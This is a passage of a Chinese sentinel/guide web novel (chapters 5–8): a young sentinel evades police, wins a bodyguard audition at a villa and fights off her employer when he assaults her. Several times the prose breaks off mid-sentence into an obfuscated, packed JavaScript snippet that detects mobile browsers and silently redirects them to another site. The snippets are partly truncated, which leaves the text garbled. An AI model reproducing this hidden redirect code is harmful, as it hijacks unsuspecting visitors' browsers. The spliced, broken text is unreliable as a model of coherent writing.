程浪不想多生事端耽误时间,因此屏气敛神,尽量弱化自己的存在,混在普通乘客的人流中去了候车室。 在此期间没有警察察觉到异常,发现她这条漏网之鱼。 车厢里,一名身着白大褂、戴着白色医用面罩的男子却脚步一顿,转头看向窗外。 站台上大批乘客正匆匆忙忙从应急通道奔向候车室。 十多米开外处,一群警察手持防暴盾围成一圈隔离人墙,人墙里面是青蛙一样抱头蹲在地上的哨兵。 男人眼睫微闪,目光从那群哨兵身上投向另一边去往候车室的普通乘客。 跟在他身边的一名警督顺着他的视线看过去,没发现什么异常,便问道:“柯博士,怎么了?” 柯博士收回目光,乌黑清润的眉眼间看不出波动:“没什么。” 其实有什么。 刚才他嗅到一丝与众不同的气味,如同一把破空而来的利刃,罕见地挑动了他的神经。 但只是短短一瞬,那丝气味便消散在纷挤的人群中,仿佛只是他的错觉。 5. 第 5 章 “嗬!啊!” 前面车厢传来两声怪叫,那名发狂的退伍兵将另一名哨兵打得喷血倒地,继而朝这边扑过来。 他的豺狗精神体冲在前面,发出普通人听不到的嚎叫声,震得周围的猎犬精神体们不安地纷纷倒退。 哨兵之间的实力等级差距很大,退伍兵是B级,但狂躁状态下几乎能达到A级的破坏力,对于一群C级或B级的警察有着不小的震慑力。 警督神色一紧,举起枪要朝退伍兵射击,只是现场乱糟糟,一时间难以瞄准。 柯博士的速度比他快得多,顷刻间展开神识,突入退伍兵的大脑。 一帮警察只看到那名退伍兵犹如被一条无形的缰绳勒住脖子般,猛然停下动作,双眼发直,浑身僵硬。 豺狗精神体也像陷入泥潭一样,四肢徒劳地原地踏步,无法再前进分毫。 短短数秒后,退伍兵两眼一翻,倒在地上。 豺狗精神体随即消失。 而柯博士的精神体从始自终就没有显过形。 所有人都松了一口气,警察和医生上前收拾残局。 警督带着两分讨好夸赞道:“柯博士,幸亏有您在,这么快就把麻烦解决了。等下一起吃个晚饭怎么样?” 柯博士淡然回应:“不了,我只是恰好路过,还有事,先走了。” 警督不敢强留,只能说:“那就下次有机会再聚,今天就不耽误您了。” 柯博士顿了顿后问了一句:“黑铁市最近有出现A级以上的哨兵吗?” 警督睁大眼睛:“A级以上,超A级吗?这个我不大清楚,得找人问问。” “那不用麻烦了,再见。” 柯博士不再停留,转身走了。 “再见,慢走啊!” 等那道颀长挺拔的身影离开站台后,一名新入职不久的警察问同僚:“那个什么柯博士是谁啊?这么牛叉,连我们头儿在他面前都低声下气的。” 对方了如指掌般回答:“他你都不认识,你还是哨兵吗?” 新人不服气道:“你这么熟悉,那他的精神体长什么样你见过吗?” 对方霎时卡了壳,那还真没见过。 事实上他只知道对方来头极大,精神力深不可测,是联邦十年难遇的神级向导。 至于精神体长得是圆是扁,估计他们头儿都不一定清楚。 顿了顿后找补:“顶级向导的精神体哪是那么容易见到的,人家干什么都神秘的很,长什么模样一般人都轻易看不到。我要是随便就能看到,那我还用得着在这里当一名警察嘛。” “呵呵,那大家彼此彼此。” * 半个多小时后,事故现场处置完毕,车厢被清理干净,所有哨兵都被带走了。 车站恢复了秩序,乘客们重新上了车,就像什么都没发生过一样。 程浪在人群中搜索了一番,没有看到那片白色衣角。 她在站台上凝神感受,试图再次捕捉那缕奇特的气息,但却一无所获,只闻到有些刺鼻的消毒水味道。 狮鬃水母在她的脑海里有些躁动不安地游来游去,似乎比她这个主人还要急切。 还有不少警察在站台上巡逻,程浪用意念吩咐:【别出来,老实呆在里面。】 这时,发车铃声响起,程浪就转身上了车。 算了,以后碰到再说吧,眼下还是找工作要紧。 狮鬃水母百无聊赖地潜回海域深处,继续睡大觉。 州际列车再次启动,前往既定目的地。 * 与此同时,15州黑铁市警察局。 一名警察坐在椅子上,一双腿架在桌子上,手里玩着一根电棍,漫不经心地问坐在对面的“老头”:“你说你要报什么案?” 这“老头”看起来少说五六十,脸色灰败,嘴歪眼斜,像大半截身子已经入了土。 真实年龄其实才30出头,正是早上差点被程浪打死的三角眼,名叫吴强。 吴强哆嗦回答:“我刚才去贫民区,被一名女哨兵打了。她家欠我几十万信用币赖账不还,我去要钱她就对我下了重手。那个女人很厉害,精神体是一只水母,橙红色的,触手有二十多米长,比这间屋子还要大……” “哈哈哈哈,开什么玩笑!”没等他说完,警察就大笑着打断了,“哪有那么大的精神体,还橙红色的水母,听都没听说过。你不是多喝了两杯马尿,看花眼了吧!” 吴强急切地分辨:“我没有喝酒,看得非常清楚,就是那么大!我是D级哨兵,那个女人只用了几秒钟就把我打败了,我的精神体也没了,她肯定至少是个A级哨兵!” “那是你自己没本事吧!联邦一共才多少女哨兵,还是A级,有这么厉害的肯定是个大人物,怎么可能被你在贫民区碰到。” 警察根本没把吴强说的当回事,用电棍敲敲桌子赶人:“出去出去,没空听你在这里胡扯,浪费我时间。” 吴强急了,伸手比划着赌咒:“我发誓刚才说的都是真的,不然让我出门就被车撞死!那个女人以前是捡垃圾的,我也不知道她为什么突然变成哨兵了,说不定是突然觉醒的。 “警官,你们一定要把那个女恶魔抓捕归案,不然她肯定还要作恶的,不信你现在就可以去贫民区查!” “是吗?我倒是想抓,但是吧……”警察把手一摊,一副无能为力的模样,“现在局里忙得很,各种案子堆成山,办案经费也不够,腾不出人手来啊。” 他并不相信吴强胡诌的鬼话,但送上门来的油水不捞白不捞。 吴强混了这么多年,当然知道这名警察的言下之意,明摆着跟他敲竹杠。 虽然不愿意,他也只能在对方示意下转了一笔不菲的“办案经费”过去。 等把那个女恶魔抓到,他一定要十倍百倍地讨回来! 警察这回干脆了:“行吧,我给你立个案,你再把具体情况详细说说,等下我派人过去瞧瞧。” “谢谢警官!” 磨磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060279|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹭蹭立了案,一个多小时后,两名警察满脸嫌弃地来到吴强提供的贫民区地址。 当然,那里已经人去屋空了,这宗“荒唐”的案子也就沉了底。 * 由于列车上的突发事故耽搁了时间,下午5点差一刻程浪才刚从车站出来。 这里位于青岩市郊区,距离面试地点还有二十多公里,周边人烟稀少,只有来往的过路车辆,没有公交站台。 靠两条腿是来不及了,得打个车去。 但程浪兜里只剩5毛钱,根本付不起车资。 她走到马路边,打算蹭个顺风车。 程浪招了三次手,过往车辆皆视若无睹,只给她留下扬沙冒烟的车屁股。 无奈之下,她放下兜帽,揭开面罩,把贴在颊边的头发往后拨了拨。 一辆破旧的吉普车疾驰而过。 程浪急忙招手:“嗨,大哥!” 还是这一招管用。 吉普车开过去五米,又“刷”的一声停下来。 一个剃着小平头的男人摇下车窗,探出头来,朝程浪吹了声口哨,痞里痞气地问:“妹子,要搭哥哥的顺风车吗?” 程浪甜甜一笑:“是啊,可以吗?” 小平头爽快地打开副驾门:“行,上来吧。” “谢谢。” 程浪上了车,看到后排座位上趴着一只身长半米左右的小动物。 小东西长着一身棕灰色皮毛,脸上有黑色眼斑,毛茸茸的尾巴呈现黑白相间的环纹,此时眼睛半睁半闭,脑袋一点一点的,正卧在那里打盹。 那是一只浣熊精神体,除去尾巴外体型跟程浪之前对付的老鼠精神体差不多,但干脆面当然比后者要顺眼多了。 小平头没注意到程浪投向后排座的视线,一边重新发车一边问:“妹子你要去哪儿?” “鸿福山庄。” “巧了,我也去那里。你去干什么,找工作吗?” 小平头又随口问。 鸿福山庄的主人是个有钱的地产商,这姑娘既然站在路边拦顺风车,穿着也很普通,那跟里面的住户应该没什么关系。 程浪应道:“是啊。” “正好,我也是去找活儿干的,去那里应聘保镖——我是一名哨兵。” 小平头在最后两个字上加重语气。 程浪好奇道:“什么级别的哨兵?” “C级……”孙大成下意识地回答,紧接着又急忙改口,“虽然我的评级是C级,但我的实力绝对能达到B级水平!当初检测的时候那台破仪器出了故障,所以给我的级别定低了。” 程浪十分捧场:“是吗,那挺厉害的。” 小平头有点骄傲地挺起胸膛:“还行,要是进了鸿福山庄,以后有机会哥哥可以罩着你。” “好啊,谢谢大哥。” “我叫孙大成,你叫我成哥好了。” “嗯,成哥。”程浪从善如流,“我叫程浪。” “哦,小程妹子!” 6. 第 6 章 不多时,吉普车开到鸿福山庄的大门外,被保安拦下,要求下车检查。 两人下了车,孙大成打开手环,调出一个界面,正是哨兵招聘的确认码。 保安核对后,用扫描仪扫过两人全身,然后打开闸门,让他们步行入内。 程浪没有被要求出示确认码,大概保安默认她是来应聘保洁的。 山庄建在山脚下的坡地上,背靠山体,另外三面围了一圈数米高的围墙,用厚重的石头砌成,墙上装了高压电网,像座堡垒一样。 庄园里奢侈地铺着大片草坪,种了不少观赏树木,一个个龙头正像喷泉一样喷洒着经过净化的自来水,看去一片绿意盎然,与外面荒凉萧瑟的野地形成强烈对比。 孙大成一边张望一边感慨:“这老板真会享受,什么时候咱们才能过上这种日子啊。” 程浪饿得快要前胸贴后背,苦大仇深地说:“我可不敢想,饭都要吃不起了。你是哨兵,应该可以过得好一点吧?” 孙大成摇头:“我也就那样,当兵的可能还行,但要有关系或者塞钱才能进去,我当初什么都没有,就被筛掉了。后来找了几个工作都不靠谱,比如前一个黑心老板动不动就拖欠我的工资,我一怒之下打掉了他两颗门牙。” “鸿福山庄的赵老板也是奸商出身,肯定是怕被人报复才招这么多哨兵当保镖。他要是按时结薪就好,如果也随便扣钱,老子就特么的揍得他妈都不认!” 浣熊精神体被主人的暴力言辞激得一跳三尺高,程浪不由莞尔。 山庄的主体建筑是一栋气派的三层尖顶别墅,别墅前有个彩色地砖铺出的圆形小广场,此时站着乌泱泱几十个人,看样子都是来应聘的。 这些人里有男有女,一半普通人一半是哨兵,分成泾渭分明的两个阵营,程浪和孙大成就站在人群最后面。 一个穿着衬衣系着领结管家模样的中年男人从别墅里出来,大声道:“应聘保洁的到后院去!哨兵就在这里群体格斗,以广场边界为限,一刻钟后还能站在广场上的留下来,被打出去了就算淘汰!” 真是简单粗暴。 随后普通人去了后院,剩下的哨兵全都是男性——除了程浪。 所有人的视线齐刷刷地投了过来,看向在场这名唯一的女性。 孙大成低声提醒程浪:“妹子,你刚才是不是没听清楚?保洁去后院,这里都是哨兵,打起来可是不长眼的。” 程浪说:“听清了,我就是来应聘哨兵的。” 孙大成一脸惊讶:“不会吧,你也是哨兵?看不出来啊!你的精神体是什么?” “是一只水母。” 听她说是水母,其他哨兵纷纷哈哈大笑,想到的都是只有巴掌大小、可以养在鱼缸里观赏的那种。 女哨兵不是没有,但数量很少,体能天生不如男哨兵,等级一般都偏低,比普通人强不了太多。 刘管家格外多盯了程浪一眼,玩味地说:“你考虑清楚了?等下打起来后果自负,伤了残了我可不管。” “嗯,清楚了。” 程浪不是很有把握,打算等下见机行事,不行就撤。 刘管家正要宣布比赛开始,有人一边跑过来一边喊:“等一下,还有我!” 那是一名体格彪壮、身高超过1米9的汉子,肌肉虬结,像座移动的铁塔。 身边跟着头健硕的黑熊,四肢着地,跑起来极快,如同开过来一辆坦克,气势惊人。 哨兵们的脸色霎时变得凝重起来。 大自然中黑熊属于顶级猛兽,皮厚肉粗,战斗力惊人,狮子老虎也不敢轻易招惹,所以这名哨兵肯定也是A级实力。 程浪却眼尖地发觉那壮汉跑起来的姿势有点别扭,似乎总往他的右侧边倾斜。 小广场在正东方位,但那壮汉却偏了一点角度,越跑越靠近路边种的一排灌木。 眼神不好吗? 正想着,壮汉在跨过三级台阶上广场时,突然脚下一个趔趄,栽进了旁边的灌木丛。 连带着他的精神体也熊失前爪,凭空翻了个跟头。 这是什么操作? 所有人都一头雾水。 片刻后,壮汉从灌木丛中爬出来,灰头土脸的,模样颇为滑稽。 这个时候众人才发现他左眼有问题,灰扑扑的完全没有神采,装的是一只义眼。 原来是个熊瞎子独眼龙,难怪会跑偏。 静默了一瞬,哨兵们发出一阵哄笑,先前的畏惧感顿时去了一半。 壮汉抹了把脸,吭哧吭哧地问刘管家:“我叫熊正豪,以前是A级哨兵,现在是B级,可以应聘保镖吗?” “可以,只要你能打赢其他人。” 刘管家有点嫌弃这家伙瞎了一只眼睛,但也懒得再废话,接着招呼所有哨兵:“天都快黑了,赶紧的,开始开始!” 随后,广场上展开了一场混战。 来应聘的哨兵一共有20多个,没有规则,不讲武德,为了不菲的薪水,打得十分激烈,逮到谁就是谁,恨不得拼个你死我活。 精神体们也撕咬作一团,乱成一锅粥。 程浪不敢马虎,全神戒备,密切关注其他哨兵的动向,时刻准备着接招。 然而,大概因为她是在场唯一的女性,打赢了也不会有多光彩,因此几乎没人来跟她动手。 只有一个带着食肉甲虫的哨兵,长得干干瘦瘦,要来跟程浪过招。 程浪看他那架势就不行,没用狮鬃水母,只凭拳脚功夫,三两下就把对方撂倒了。 15分钟后,广场上还站着五个人,熊正豪,孙大成,和另外两名B级哨兵张三李四,以及唯一的女性,程浪。 孙大成个子不高,体型也不壮,胜在动作敏捷,十分机灵,不会一味蛮干跟人硬碰硬。虽然挂了彩,手肘破皮流了血,但总算没倒下。 熊正豪瞎了一只眼,视野受限,时常会晕头转向慢上一拍。不过他的底子摆在那里,尽管被打得鼻青脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060280|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肿猪头一样,仍然胜过了在场大部分哨兵。 唯独程浪,浑身清爽,头发丝都没乱,轻松躺赢。 孙大成惊讶道:“不赖啊,你居然过关了。” 程浪笑道:“过奖过奖,只是运气好。” 被她放倒的哨兵悻悻地叫道:“这不公平,那个娘们根本就没怎么打!” 还有几个同样被淘汰的跟着附和。 程浪振振有词:“一开始说最后站在广场上的人过关,我又没被打倒。” “行了,别扯嘴皮子。”刘管家出声打断,“我刚才说的规则当然是作数的,被打倒的自动出局,一直站着的留下。这丫头既然还站着,就算她过关了,剩下的可以走了。” 其他哨兵闻言只得灰溜溜地离开。 孙大成自来熟地跟留下来的另外三名男哨兵称兄道弟拉关系,张三李四都不屑于搭理他,只有熊正豪在他叫“豪哥”时应了一声。 孙大成并不尴尬,转头跟程浪传授经验:“我们这种低级哨兵要会看人眼色,凡事不能强出头,以后日子才能好过一点。” 程浪虚心受教:“知道了,谢谢成哥。” 刘管家随后对筛选出来的五名哨兵吆喝:“那个丫头,独眼龙和小矮子,还有另外两个,都过来!” 程浪礼貌地纠正道:“刘管家,我叫程浪。” 熊正豪跟着一板一眼地强调:“我叫熊正豪。” 孙大成接口:“我叫孙大成,大有所成的大成!” “叫什么都行。”刘管家不在意地挥挥手,“都听好了,我们老板住在三楼的主卧,你们就住二楼,24小时随时待命保护他的安全。要是干不好或者出了什么差子,那就唯你们是问,明白了吗!” 五人纷纷应了,跟着刘管家进了别墅。 别墅里的装潢陈设一整个暴发户的风格,金碧辉煌的,无处不显摆着主人的阔气。 保镖的住宿条件也不错,每人一间,有独立卫浴。 晚饭时别墅主人现身了,名叫赵有鑫,普通人,是个体重两百多斤的胖子,走一步浑身的肥肉就抖三抖。 赵老板一屁股坐在主位上,扫了一眼面前排成一排的五名新保镖,不满道:“看上去都不怎么样,有A级的吗?” 何管家赔着笑回答:“时间有点仓促,今天来应聘的不多,这几个实力应该还是不错的,明天可能就有A级的了。” 赵有鑫眉毛皱成一团:“搞快点,钱不是问题,不然那个对头明天就找个A级的来整我怎么办?” “是,老板,我会尽快的!” 随后开饭,赵有鑫单独一桌,五名保镖坐另一桌。 吃饭期间赵有鑫不怀好意地瞧了程浪好几眼,但程浪完全没在意。 他们这一桌虽然不像赵有鑫吃的那么豪华高档,但也正儿八经有肉有菜,是厨房现做的,不是营养剂。 她大半天没进食,人都要饿扁了,吃得头都不抬,哪里看得到赵老板是什么眼神。 7. 第 7 章 饭后,赵有鑫上了三楼,保镖们又听刘管家讲了一通庄园的规矩与保镖应尽的职责,这才回到二楼各自的房间。 程浪洗完澡已经快十一点了,刚准备躺下休息,房门被人敲响。 她上前打开门,是刘管家:“程浪,你现在去三楼,老板要见你。” “这么晚了,老板找我有什么事吗?” “叫你去你就去,保镖就是要随时听命,我刚才不是才讲过。等下老板要你做什么就做什么,做不好别怪我扣你薪水。” 一文钱难倒英雄汉,程浪只得上了三楼,推开主卧虚掩着的厚重坚固的实木门。 赵有鑫穿着浴袍,像个膨胀的发面馒头,手里还端着一杯红酒,懒洋洋地摊坐在沙发上。 程浪依着规矩问:“老板,您有什么吩咐?” 赵有鑫喝了一口酒,醉眼惺忪地盯着她:“过来给我按按肩膀。” 程浪心里一阵嫌恶,忍耐着回答:“不好意思,我不会。” “这有什么不会的,按着按着就会了。”赵有鑫舔了舔嘴唇,“要是按得好了,一次给你2000,比另外四个赚的多多了。” 程浪再纯洁也明白这个“按”是怎么个按法,当即道:“这我干不了,你还是找其他人吧。” 赵有鑫银笑一声,把酒杯往桌上一顿:“我今天就找你了,干不了也得干。” 说着从沙发上起身,摇摇晃晃地上前,一只咸猪手肆无忌惮地伸向程浪胸口。 程浪哪能让他得逞,抬手一挡,再往侧边让了一步。 她没用多少力度,但赵有鑫长得太胖,酒后又站立不稳,霎时倒在地板上滚了一圈,撞到桌子腿,被翻倒的红酒泼了满头。 赵有鑫狼狈地爬起来,破口大骂:“你特马的反了你了,连老板都敢打!” 程浪试图挽回局面:“赵老板,我不是故意的,你没事吧?我叫刘管家上来收拾。” 赵有鑫恼火道:“叫他来收拾个屁,最该收拾的就是你这个小X子。别以为我不知道,你在15州欠了别人几十万赖账不还,还把债主打成重伤,上了警方的通缉名单。要不是我收留你,你现在已经在蹲大牢了!” 程浪闻言一惊,肯定是三角眼报了警,还倒打一耙。 太可恶了,早知道这样她应该出手更重一点! 见程浪变了脸色,赵有鑫得意道:“怕了吧?你要是不给我磕头认错,今天就别想竖着走出去。” 磕你个大头鬼! 程浪二话不说,转身就跑。 赵有鑫气急败坏地按下了桌子上的警报器。 尖锐铃声响起,整栋别墅灯光大亮。 程浪才跑进走廊,孙大成、熊正豪和张三李四就纷纷从二楼冲上来,挡住她的去路。 孙大成跟她一打照面不由一愣:“你来得这么快?老板出什么事了?” 刘管家跟在后面也挺惊讶:“你把老板怎么了?” 赵有鑫在卧室里大喊:“别让她跑了!这个贱货居然敢打我!” 程浪辩解道:“没有,是他刚才想要非礼我,我只是把他推开而已。” 刘管家赶紧进卧室查看赵有鑫的状况,发现没有什么大碍,便阴冷着脸道:“你个死丫头竟敢对老板动手,真是活腻味了!还不快把她抓起来!” 张三李四二话不说,一左一右冲上来要制住程浪。 程浪以迅雷不及掩耳之势,左手出拳,击中张三的眼睛;同时右手出腿,横踢李四的肋下。 张三李四本来没那么菜,只是过于轻敌,没料到傍晚基本没参加格斗只是侥幸躺赢的程浪身手会这么好,顿时吃了亏。 “哎哟,不赖啊!”孙大成惊讶道,“小程妹子,你刚才说的是真的假的?” 程浪:“真的,你不相信我吗?” 孙大成看看程浪,又瞧瞧顶着一头红酒脑满肠肥的赵有鑫,当然还是前者更可信。 赵有鑫见孙大成不动,就冲熊正豪嚷嚷:“熊瞎子你还傻愣着干什么?抓住那贱货奖励你10万!” “我不叫熊瞎子,我叫熊正豪!” 熊正豪有些气愤地更正,他犹豫了一下,张开胳膊拦住程浪:“你别跑,把事情说清楚,我不想跟你动手。” “事实就是如此,没什么可说的,让开!” 程浪恼火道,出奇不意地一掌劈向熊正豪颈部左侧,这边是他的视觉盲区。 熊正豪自然没能躲开。 但他皮厚肉粗十分抗打,没有如程浪预期中昏厥倒下,只是向后踉跄了两步。 之前被程浪先发制人的张三李四缓过来后再次逼上近前,这次不敢掉以轻心,都把精神体放了出来,一只是貉子,一只是豺狗。 两只精神体张嘴呲牙,发出普通人无法听到的尖锐叫声,对程浪进行精神攻击。 程浪能打人,对虚拟的精神体却束手无策,只觉脑袋像被针扎一样刺痛。 见她皱眉露出难受的神色,赵有鑫又得意起来:“知道厉害了吧,给我把身上的酒舔干净,我心情好就网开一面。” 孙大成也给程浪递了个眼色,示意她不要逞强跟赵有鑫硬杠,眼下还是自保要紧。 程浪没吭声,要她委屈求全,除非她死了。 又不是没死过,大不了再来一次。 她在脑海中发令:【大橘,你主人要挨揍了,还不赶紧出来帮忙!】 下一秒,空中现出一只硕大无比的橙红色水母,长达上十米的触手占据了大半个走廊,从这一头飘向那一头。 在场另外四名哨兵:“……” 狮鬃水母显露出的并非完全形态,仅仅只是半体,就这已经把其他哨兵看傻了眼。 孙大成目瞪口呆,半晌才找到自己的声音:“这是什么?” 程浪:“水母啊,我之前不是说过。” 孙大成:“可你没说过是这么大一只啊!” 程浪:“你也没问啊。” 孙大成:“……” 赵有鑫和刘管家看不到精神体,见四名保镖全都张着嘴,赵有鑫不禁催促道:“干什么,你们都见鬼了吗?要是连个女人都搞不定,你们就全都给我滚蛋!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060281|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >张三和李四意识到情况不妙,程浪的实力可能在自己之上,但在赵有鑫的威胁下只能硬着头皮指挥各自精神体攻击狮鬃水母。 狮鬃水母如同早上对付老鼠精神体一样,伸出两条触手,一左一右同时袭向貉子和豺狗。 两只精神体张牙去咬,却被触手灵活地避开,再反过来拦腰一卷,一边一个吊在空中,像两颗红红火火的灯笼挂在半空中。 更多的触手随即涌上,将貉子和豺狗缠了个密不透风,再逐渐收紧。 张三李四大口喘气,仿佛难以呼吸一般,脸色胀得通红,跟程浪对打时速度明显迟缓许多,没有招架之力。 不多时,程浪就将张三和李四分别击倒在地,两只精神体随之消失。 三角眼向警方报案的事给她提了醒,只是摧毁精神体很可能会留下后患,于是她尝试着指挥狮鬃水母进一步突入张三李四的大脑,破坏掌控记忆的部分神经,抹去他们关于自己的记忆。 刘管家见机极快,在张三李四苗头不对时就贴着墙根连滚带爬地逃到楼下去了。 赵有鑫躲在门框后面,举起一把手、枪,咬牙切齿地朝程浪的后背抠动扳机。 一声爆响,枪管冒出一股淡烟,子弹破开空气,高速旋转着射向三米外的程浪。 程浪来不及回头,全身紧绷,子弹的锐响在她耳中似乎放慢了数倍,猛然一侧身。 子弹呼啸着与她擦肩而过,穿入走廊对面的墙壁,打出一个窟窿。 孙大成和熊正豪:“……” 两人都看傻了眼,张大的嘴巴足以塞进一颗鸡蛋。 程浪转过身,面无表情地看着赵有鑫,胸中的怒火仿佛已经实体化。 赵有鑫的恐惧达到顶点,手、枪扑通掉到地上,腿一软跪了下来,痛哭流泪地哀求:“我刚才是猪油蒙了心,美女你大人有大量,饶了我吧!” 一边哭求一边啪啪抽了自己几个耳光,下手还不轻,本就肥胖的脸又肿了一圈。 “只要你放过我,你想要多少钱我都可以给你!我有很多钱,给你五百万怎么样?不,我给你一千万!你买房子买车都可以,这辈子都不用愁了……” 程浪只觉恶心厌憎,抬起一脚踹向赵有鑫油光光的大脑门。 赵有鑫像一颗胖土豆一样滚倒在地,发出杀猪般的嚎叫,脑袋颅骨骨折,凹进去一大块,就算不死也没什么活头了。 程浪冷眼看着赵有鑫在地上痛苦地打滚哀嚎,心里没有一丝波动。 这样的自己让她觉得有点陌生。 她以前虽然能打,但是一名尊纪守法的良好公民,赛场之外从来不会对普通人动手。 穿成哨兵之后能力提升了,脾气似乎也变大了,短短一天之内就重伤了几个人,那股子想要继续破坏的念头简直压都压不住。 理智告诉程浪这样下去会很危险,以后还是要控制一下。 不过,也是这些恶棍先来招惹她,自己不过是自卫反击,是他们咎由自取。 人不犯我,我不犯人。 人若犯我,我为什么要忍气吞声? 8. 第 8 章 转头看到瞠目结舌的孙大成和熊正豪,程浪仍旧保持着格斗姿势,注意两人的动向:“你们俩也要一起上吗?” “不不不,我跟他们不是一路人!”孙大成连忙矢口否认,“小程妹子,我坚决站在你这边,才不会跟这些人渣同流合污!” 熊正豪跟着澄清:“我现在相信你了,赵有鑫不是个好东西。刚才是我糊涂,对不住了。” 他们俩现在念头都一样,还好刚才没为难程浪,不然肯定就和张三李四赵有鑫一样吃不了兜着走了。 程浪稍稍冷静下来,把心头的火气压下去,说:“我把赵有鑫打了,害你们俩这份工作做不成了,你们不怪我吗?” 孙大成无所谓地耸耸肩:“怪你干什么,这种人渣被打也是活该,给他当保镖多半不会有什么好下场,早点黄了也好,省得浪费时间。” 熊正豪跟着点头。 程浪心中略安,放松握着的拳头。 这时,别墅外的道路上传来车轮持续碾压石子的声音,发出沙沙声响。 隔着几百米的距离,程浪往天多半注意不到。现在听力敏锐得多,立即就捕捉到这阵声响,转头朝走廊一侧的窗户望去。 庄园外开进来两辆车,借着车灯依稀能看到外观十分特别,并非普通车辆。 车身高,车体宽,棱角分明,像是军用装甲车,在寂静的深夜中透出不同寻常的意味,压迫感十足。 孙大成后知后觉地看到了,顿时跳了起来:“坏了,不会是警察来了吧?那我得赶紧撤了!” 熊正豪跟着点头:“俺也一样。” 程浪差点喷了:“你们俩跑什么,警察要抓也是抓我吧。” 打人的是她,怎么这两个家伙似乎比她还紧张。 孙大成飞快地回答:“我前老板不是欠我钱被我打掉两颗牙吗,后来那家伙找了一帮打手想往死里整我。我放了一把火才好不容易逃出来,结果前老板自己不留神被烧死了,警方却说我是蓄意杀人的纵火犯!” 熊正豪吭哧吭哧地接着说:“我以前在军队是上尉,有一次出任务失败了,还受伤瞎了一只眼睛,却被长官冤枉背黑锅,至少要坐十年牢。我去找他理论,没想到他情绪太激动,突然狂躁症发作,从5楼跳下去摔成了植物人,我就成了罪魁祸首,不得已我才逃了出来。” 程浪:“……” 合着这两个家伙都有案子在身,跟她相比是半斤八两。 “赶紧跑吧兄弟,不然搞不好要被打成筛子了!” 孙大成匆匆奔向楼梯,熊正豪紧随其后,程浪也抬脚跟了上去。 整栋别墅空空荡荡,地上散落着一些杂物。 刚才在三楼发生的打斗惊醒了庄园所有人,包括何管家在内都已经逃了个一干二净,生怕慢一步就会惹祸上身。 有些人跑路时还顺手把别墅里不少值钱的摆设搬走了,大厅里像被洗劫过一般。 三人跑到一楼大厅时,两辆装甲车已经开到别墅前的广场上,把出庄园的路堵死了。 跟着七八个人跳下车,朝别墅气势汹汹地围拢过来。 这些人清一色全都是哨兵,有的手里还拿着各种武器,但穿的衣服五花八门,似乎并非正规部队。 孙大成从客厅探出半个头,看到来人的着装打扮后稍稍松了一口气:“还好不是警察,说不定是来找赵有鑫寻仇的。” 那群哨兵让开一条路,走出一名面容阴冷的男人,深灰色的眼珠像两颗玻璃球,看上去有点瘆人。 男人肩膀和手臂上盘着的一条蛇更加瘆人,足有碗口粗,黑棕色相间的条纹,三角脑袋高高扬起,嘴里咝咝吐着腥红的信子。 勿庸置疑,此人是所有哨兵中实力最强悍的。 孙大成不由打了个哆嗦,搓了搓胳膊上的鸡皮疙瘩:“妈呀,好可怕!” 熊正豪神情凝重,低声说:“这人我知道,蝰蛇凯斯,是一名雇佣兵头子,顶尖的A级哨兵。” 孙大成吸了口冷气:“乖乖,原来是他啊,我也听说过,手段非常狠辣。这支佣兵团就叫Snake,干过不少大买卖。” 程浪不是不知道雇佣兵和佣兵团是什么,但在现实生活中还是头一回,忍不住多瞧了一眼。 凯斯耳朵动了动,面无表情道:“里面的人,出来。” 三个人躲不过去,只得依言出了大厅。 凯斯扫了他们一眼,阴冷地问:“赵有鑫呢?” 孙大成好声好气地说:“不好意思,赵老板受了伤,恐怕出不来。” 凯斯眉头一皱:“他人在哪?” “三楼。” 凯斯朝左右示意,几名手下快步上楼,不一会儿把出气多进气少死猪一样的赵有鑫抬了下来。 凯斯又问:“谁打的?” 孙大成瑟缩了一下。 熊正豪迟疑:“呃……” 程浪:“是我。” 她全神戒备,准备打一场硬仗,但并没有把狮鬃水母放出来。 如果要动手,出奇不意或许能起到作用。 凯斯是A级哨兵,这支佣兵团又人多势众,还有刀枪等武器,自己今晚只怕在劫难逃。 凯斯却没在意,瞥了一眼就收回目光。 两名男哨兵不足为惧,他根本懒得动手。 那个女人除了脸蛋长得不错,并没有什么出奇之处,连精神体都没有,估计就练过一点拳脚功夫,被赵有鑫抢来后就把他揍了一顿。 今晚他的目标只是赵有鑫,其他不相干的小杂鱼就算了。 一名手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 